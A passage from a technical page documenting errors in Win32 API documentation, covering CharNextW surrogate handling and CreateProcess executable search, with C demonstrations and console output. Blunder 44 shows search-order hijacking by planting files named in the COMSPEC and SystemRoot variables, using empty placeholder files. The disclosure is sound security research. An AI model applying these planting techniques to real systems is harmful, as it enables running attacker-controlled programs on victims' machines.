  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/J /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR'
    blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *'
    blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    19 UTF-16 code units:
     FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000
    
    1 code units at offset 0
    2 code units at offset 1
    1 code units at offset 3
    2 code units at offset 4
    2 code units at offset 6
    1 code units at offset 8
    1 code units at offset 9
    2 code units at offset 10
    1 code units at offset 12
    5 code units at offset 13
    CharNextW() enumerated 10 characters in 19 code units
    
    WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units:
     EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00
    
    1 code units at offset 0
    1 code units at offset 1
    1 code units at offset 2
    1 code units at offset 3
    1 code units at offset 4
    1 code units at offset 5
    1 code units at offset 6
    1 code units at offset 7
    1 code units at offset 8
    1 code units at offset 9
    1 code units at offset 10
    1 code units at offset 11
    1 code units at offset 12
    1 code units at offset 13
    1 code units at offset 14
    1 code units at offset 15
    1 code units at offset 16
    1 code units at offset 17
    1 code units at offset 18
    1 code units at offset 19
    1 code units at offset 20
    1 code units at offset 21
    1 code units at offset 22
    1 code units at offset 23
    1 code units at offset 24
    1 code units at offset 25
    1 code units at offset 26
    1 code units at offset 27
    1 code units at offset 28
    1 code units at offset 29
    1 code units at offset 30
    CharNextExA() enumerated 31 characters
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH¹: the CharNextW() function fails to detect UTF-16 surrogate pairs – it mistreats a space character (U+0020) followed by a high surrogate (U+D83D, U+D83C), a low surrogate (U+DDEA) followed by a high surrogate (U+D83C) as well as a lone low surrogate (U+DE12, U+DDFA) as one character!

    Note: the surrogate pair U+D83D U+DE12 is the Unamused Face emoticon 😒, and the 2 surrogate pairs U+D83C U+DDEA U+D83C U+DDFA are the European Union Flag emoji 🇪🇺, composed according to the ISO 3166 2-letter country code EU with Regional Indicator Symbol Letter E and Regional Indicator Symbol Letter U.

    OUCH²: contrary to the highlighted statement of the documentation cited above, the CharNextExA() function fails to handle UTF-8 encoded multi-byte character strings at all – it mistreats every single byte as a character!

  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR'
    blunder.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *'
    blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    blunder.c(112) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR'
    blunder.c(124) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code to demonstrate the bugs:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    19 UTF-16 code units:
     FEFF 0020 DE12 D83D 0020 DDEA D83C DDFA D83C 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000
    
    1 code units at offset 0
    1 code units at offset 1
    2 code units at offset 2
    1 code units at offset 4
    2 code units at offset 5
    2 code units at offset 7
    1 code units at offset 9
    2 code units at offset 10
    1 code units at offset 12
    5 code units at offset 13
    CharNext() enumerated 10 characters in 19 code units
    WideCharToMultiByte() returned error 1113
    
    0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113)
    Error message text: No mapping for the Unicode character exists in the target multi-byte code page.
    CertUtil: -error command completed successfully.
    OUCH³: with high and low surrogates swapped, thus creating an invalid UTF-16 character string, the CharNextW() function detects surrogate pairs – it was apparently written by an absolute beginner who probably sorted low surrogates (code units U+DC00 to U+DFFF) due to their higher numerical value before high surrogates (code units U+D800 to U+DBFF) or was confused by Windows’ little endian byte-order which places low(er)-order bytes before high(er)-order bytes, and most obviously never tested!
Note: the demonstration of the same blunder and bugs with the Win32 functions CharPrevExA() and CharPrevW() is left as an exercise to the reader.

Note: an exploration of the blunder and bugs with the Win32 functions CharNextA() and CharPrevA() when the system’s (global) ANSI and OEM code pages are set to 65001 alias CP_UTF8 is also left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 44

The documentation for the Win32 functions CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW() and CreateProcessWithTokenW() specifies:
[…] the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period (.) with no extension, or if the file name contains a path, .exe is not appended. If the file name does not contain a directory path, the system searches for the executable file in the following sequence:
  1. The directory from which the application loaded.
  2. The current directory for the parent process.
  3. The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
  4. The 16-bit Windows system directory. There is no function that obtains the path of this directory, but it is searched.
  5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  6. The directories that are listed in the PATH environment variable. Note that this function does not search the per-application path specified by the App Paths registry key. To include this per-application path in the search sequence, use the ShellExecute function.
OUCH⁰: the second position is the current directory of the application current process, not that of its parent process!

OOPS: in the 64-bit execution environment, the GetSystemDirectory() function yields but the path of the 64-bit system directory!

Falsification

Perform the following 17 (plus 1 optional) simple steps to prove the documentation cited above wrong and show a whole lot of blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION pi;
    
    	DWORD	dwError = ERROR_SUCCESS;
    	WCHAR	szBlunder[] = L"blunder.bat";
    #ifdef BLUNDER
    	if (!SetEnvironmentVariable(L"COMSPEC",
    #if BLUNDER == 1
    	                            L"blunder.com"))
    #elif BLUNDER == 2
    	                            L"blunder.exe"))
    #elif BLUNDER == 3
    	                            L"blunder.bat"))
    #elif BLUNDER == 4
    	                            L"blunder.cmd"))
    #elif BLUNDER == 5
    	                            L"blunder"))
    #else
    	                            (LPCWSTR) NULL))
    #endif
    		dwError = GetLastError();
    	else
    #endif
    		if (!CreateProcess((LPCWSTR) NULL,
    		                   szBlunder,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   FALSE,
    		                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
    		                   (LPWSTR) NULL,
    		                   (LPCWSTR) NULL,
    		                   &si,
    		                   &pi))
    			dwError = GetLastError();
    		else
    		{
    			if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    				dwError = GetLastError();
    
    			if (!CloseHandle(pi.hThread))
    				dwError = GetLastError();
    
    			if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    				dwError = GetLastError();
    
    			if (!CloseHandle(pi.hProcess))
    				dwError = GetLastError();
    		}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    Note: the Win32 error code 2 alias ERROR_FILE_NOT_FOUND is expected here – the file blunder.bat does not exist yet.
  4. Create the text file blunder.bat with the following content next to the console application blunder.exe built in step 2.:

    @REM Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    @ECHO %CMDCMDLINE%
    @ECHO %~f0
    @EXIT
  5. Execute the console application blunder.exe built in step 2. a second time and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    C:\Windows\system32\cmd.exe /c blunder.bat
    C:\Users\Stefan\Desktop\blunder.bat
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: since the current directory is also the application directory here this doesn’t tell whether the batch script blunder.bat is executed from the first or the second position of the documented search sequence.
  6. Move the console application blunder.exe built in step 2. into another directory, for example the parent directory, then execute it there and evaluate its exit code:

    MOVE blunder.exe ..
    ..\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    C:\Windows\system32\cmd.exe /c blunder.bat
    C:\Users\Stefan\Desktop\blunder.bat
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: the batch script blunder.bat is executed from the current directory.
  7. Move the batch script blunder.bat created in step 4. into the same directory as the console application blunder.exe built in step 2., then execute the latter there again and evaluate its exit code to prove the documentation cited above wrong:

    MOVE blunder.bat ..
    ..\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    'blunder.bat' is not recognized as an internal or external command,
    operable program or batch file.
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH¹: contrary to its documentation cited above, the CreateProcess() function fails to execute the batch script blunder.bat from the application directory – the cause for this bug blunder is the unqualified file name of the batch script it passes to the Command Processor which performs its own search then!
  8. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  9. Move the batch script blunder.bat back into the current directory, then execute the console application blunder.exe built in step 8. and evaluate its exit code to prove the documentation cited above incomplete:

    MOVE ..\blunder.bat .
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    OUCH²: the CreateProcess() function exhibits undocumented and dangerous behaviour – in order to execute a batch script it evaluates the environment variable COMSPEC to locate the Command Processor, indicated here with the Win32 error code 2 alias ERROR_FILE_NOT_FOUND!
  10. Create the empty file blunder.com in the current directory, then execute the console application blunder.exe built in step 8. a second time and evaluate its exit code:

    COPY NUL: blunder.com
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH³: in order to execute a batch script the CreateProcess() function executes an arbitrary executable whose unqualified file name is set in the environment variable COMSPEC from the application directory or the current directory, indicated here with the Win32 error code 193 alias ERROR_BAD_EXE_FORMAT due to the empty file blunder.com!
  11. Move the console application blunder.exe built in step 8. into another directory, for example the parent directory, then execute it there and evaluate its exit code:

    MOVE /Y blunder.exe ..
    ..\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH⁴: in order to execute a batch script the CreateProcess() function executes an arbitrary executable whose unqualified file name is set in the environment variable COMSPEC from the current directory!
  12. Move the empty file blunder.com created in step 10. into the same directory as the console application blunder.exe created in step 8., then execute the latter a third time and evaluate its exit code:

    MOVE blunder.com ..
    ..\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH⁵: in order to execute a batch script the CreateProcess() function executes an arbitrary executable whose unqualified file name is set in the environment variable COMSPEC from the application directory too!
  13. Optionally move the empty file blunder.com from the parent directory into an arbitrary directory listed in the environment variable PATH, for example the user-writable directory %USERPROFILE%\AppData\Local\Microsoft\WindowsApps\ present since Windows 8, then execute the console application blunder.exe created in step 8. a last time and evaluate its exit code:

    MOVE ..\blunder.com "%USERPROFILE%\AppData\Local\Microsoft\WindowsApps"
    ..\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH⁶: in order to execute a batch script the CreateProcess() function executes an arbitrary executable whose unqualified file name is set in the environment variable COMSPEC from any directory in the search path!
  14. Compile and link the source file blunder.c created in step 1. a third time, now with the preprocessor macro BLUNDER defined as 0:

    CL.EXE /DBLUNDER=0 blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  15. Execute the console application blunder.exe built in step 14. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    C:\Windows\system32\cmd.exe /c blunder.bat
    C:\Users\Stefan\Desktop\blunder.bat
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: with the environment variable COMSPEC unset, the Win32 function CreateProcess() executes Cmd.exe from the system directory as the Command Processor for batch scripts!
  16. Set the environment variable SystemRoot to the path of the current directory, create the subdirectory %SystemRoot%\System32\ and the empty file %SystemRoot%\System32\Cmd.exe, then execute the console application blunder.exe built in step 14. again and evaluate its exit code:

    SET SystemRoot=%CD%
    MKDIR "%SystemRoot%\System32"
    COPY NUL: "%SystemRoot%\System32\Cmd.exe"
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    OUCH⁷: with the environment variable COMSPEC unset, the Win32 function CreateProcess() executes an arbitrary application %SystemRoot%\System32\Cmd.exe as the Command Processor for batch scripts!

    Note: properly implemented, it would call the GetSystemDirectory() function to get the path name of the system directory instead to (ab)use the user-controlled environment variable SystemRoot!

  17. Delete the empty file %SystemRoot%\System32\Cmd.exe and remove the subdirectory %SystemRoot%\System32\ created in step 16., then unset the environment variable SystemRoot, execute the console application blunder.exe built in step 14. once more and evaluate its exit code:

    ERASE "%SystemRoot%\System32\Cmd.exe"
    RMDIR "%SystemRoot%\System32"
    SET SystemRoot=
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OUCH⁸: with the environment variables COMSPEC and SystemRoot unset, the Win32 function CreateProcess() fails to execute batch scripts with Win32 error code 267 alias ERROR_DIRECTORY!
  18. Finally delete all files which were moved outside the current directory:

    ERASE ..\blunder.exe ..\blunder.com "%USERPROFILE%\AppData\Local\Microsoft\WindowsApps\blunder.com"
CAVEAT: (ab)using (user-controlled) environment variables to locate an executable file is a well-known weakness, documented as CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') and CWE-73: External Control of File Name or Path in the CWE; it allows well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC.

Note: an exploration of the blunder with a batch script file Windows NT.bat, Windows&NT.bat, Windows,NT.bat, Windows;NT.bat, Windows=NT.bat, Windows^NT.bat, Windows&&NT.bat or %OS%.bat is left as an exercise to the reader.

Note: an exploration of the blunder with the environment variable COMSPEC set to blunder.bat, blunder.exe or just blunder is left as an exercise to the reader.

Note: a repetition of this falsification for the CreateProcessAsUser(), CreateProcessWithLogonW() and CreateProcessWithTokenW() functions is also left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is also left as an exercise to the reader.

Blunder № 45

The documentation for the Win32 function NeedCurrentDirectoryForExePath() specifies in its Remarks section:
If CreateProcess() is called with a relative executable name, it will automatically search for the executable, calling this function to determine the search path.

[…]

The value of the NoDefaultCurrentDirectoryInExePath environment variable determines the value this function returns. […] the existence of the NoDefaultCurrentDirectoryInExePath environment variable is checked, and not its value.

An example of an instance when this function should be called instead of relying on the default search path resolution algorithm in CreateProcess() is the "cmd.exe" executable. It calls this function to determine the command search path because it does its own path resolution before calling CreateProcess. If this function returns TRUE, cmd.exe uses the path ".;%PATH%" for the executable search. If it returns FALSE, cmd.exe uses the path "%PATH%" for the search.

NOTE: the use of a (user-controlled) environment variable to remove the current directory from (its prominent second position in) the search path for applications is not safe – properly implemented, the NeedCurrentDirectoryForExePath() function would query a registry entry writable only by privileged users, similar to CWDIllegalInDllSearch documented in the MSKB article 2264107!

Note: properly implemented in the first place, the Process Creation Flags of the four CreateProcess*() functions would support some CREATE_PROCESS_SEARCH_* flags, similar to the LOAD_LIBRARY_SEARCH_* flags of the LoadLibraryEx() function.

Note: properly implemented in the second place, functions similar to AddDllDirectory(), RemoveDllDirectory() and SetDefaultDllDirectories() or SetDllDirectory() would have been added.

OUCH⁰: the documentation for all four CreateProcess*() functions fails to specify that the environment variable NoDefaultCurrentDirectoryInExePath alters their search sequence!

OUCH¹: the first highlighted statement of the documentation cited above contradicts the documentation for the CreateProcess*() functions cited earlier – the latter search the executable file only if its name contains no (directory) path at all, i.e. neither an absolute nor a relative path!

OUCH²: the last highlighted statements of the documentation cited above even contradict each other – the second statement specifies the true behaviour!

Demonstration

Perform the following 8 simple steps to show the true behaviour.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION pi;
    
    	DWORD	dwError = ERROR_SUCCESS;
    	WCHAR	szBlunder[] = L"blunder.com";
    
    	if (!SetEnvironmentVariable(L"NoDefaultCurrentDirectoryInExePath",
    #ifdef BLUNDER
    	                            L""))
    #else
    	                            (LPCWSTR) NULL))
    #endif
    		dwError = GetLastError();
    	else
    		if (!CreateProcess((LPCWSTR) NULL,
    		                   szBlunder,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   (LPSECURITY_ATTRIBUTES) NULL,
    		                   FALSE,
    		                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
    		                   (LPWSTR) NULL,
    		                   (LPCWSTR) NULL,
    		                   &si,
    		                   &pi))
    			dwError = GetLastError();
    		else
    		{
    			if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    				dwError = GetLastError();
    
    			if (!CloseHandle(pi.hThread))
    				dwError = GetLastError();
    
    			if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    				dwError = GetLastError();
    
    			if (!CloseHandle(pi.hProcess))
    				dwError = GetLastError();
    		}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(35) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    Note: the Win32 error code 2 alias ERROR_FILE_NOT_FOUND is expected here – the file blunder.com does not exist yet.
  4. Create the empty file blunder.com in the current directory, then execute the console application blunder.exe built in step 2. a second time and evaluate its exit code:

    COPY NUL: blunder.com
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    Note: the Win32 error code 193 alias ERROR_BAD_EXE_FORMAT is expected here – the empty file blunder.com can’t be mapped into memory, i.e. the CreateProcess() function handles batch scripts like (portable executable) image files.
  5. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(35) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  6. Execute the console application blunder.exe built in step 5. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0xc1 (WIN32: 193 ERROR_BAD_EXE_FORMAT) -- 193 (193)
    Error message text: %1 is not a valid Win32 application.
    CertUtil: -error command completed successfully.
    Note: the Win32 error code 193 alias ERROR_BAD_EXE_FORMAT is expected here – the empty file blunder.com is now found in the application directory!
  7. Move the console application blunder.exe built in step 5. into another directory, for example the parent directory, then execute it there and evaluate its exit code:

    MOVE blunder.exe ..
    ..\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x2 (WIN32: 2 ERROR_FILE_NOT_FOUND) -- 2 (2)
    Error message text: The system cannot find the file specified.
    CertUtil: -error command completed successfully.
    Note: with the environment variable NoDefaultCurrentDirectoryInExePath set, the CreateProcess() function fails to execute the file blunder.com – it doesn’t search the current directory any more!
  8. Finally delete the file blunder.exe which was moved outside the current directory:

    ERASE ..\blunder.exe
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 46

The documentation for the Win32 functions CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW() and CreateProcessWithTokenW() states:
Creates a new process and its primary thread. […]
BOOL CreateProcess(
  [in, optional]      LPCTSTR               lpApplicationName,
  [in, out, optional] LPTSTR                lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCTSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFO         lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
[…]

[in, optional] lpApplicationName

The name of the module to be executed. This module can be a Windows-based application. It can be some other type of module (for example, MS-DOS or OS/2) if the appropriate subsystem is available on the local computer.

The string can specify the full path and file name of the module to execute or it can specify a partial name. In the case of a partial name, the function uses the current drive and current directory to complete the specification. The function will not use the search path. This parameter must include the file name extension; no default extension is assumed.

The lpApplicationName parameter can be NULL. In that case, the module name must be the first white space-delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string "c:\program files\sub dir\program name". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order:

  1. c:\program.exe
  2. c:\program files\sub.exe
  3. c:\program files\sub dir\program.exe
  4. c:\program files\sub dir\program name.exe
Caveat: this enumeration may erroneously be interpreted that the CreateProcess*() functions always append the extension .exe!

The MSKB article 812486 states:

This issue may occur if the path of the executable file for the service contains spaces.

When Windows starts a service, it parses the path of the service from left to right. If both of the following conditions are true, Windows may locate and try to run the file or folder before it locates and runs the executable file for the service:

For example, if the path of the executable file for a service is C:\Program Files\MyProgram\MyService.exe, and if a folder that is named C:\Program also exists on your hard disk, Windows locates the C:\Program folder on your hard disk before the C:\Program Files\MyProgram\My Service.exe file, and then tries to run it.

Falsification

Perform the following 9 simple steps to prove the documentation cited above incomplete and misleading.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <psapi.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION	pi;
    
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwThread;
    	DWORD	dwProcess;
    	WCHAR	szProcess[MAX_PATH];
    	WCHAR	szDevice[MAX_PATH];
    	DWORD	dwDevice;
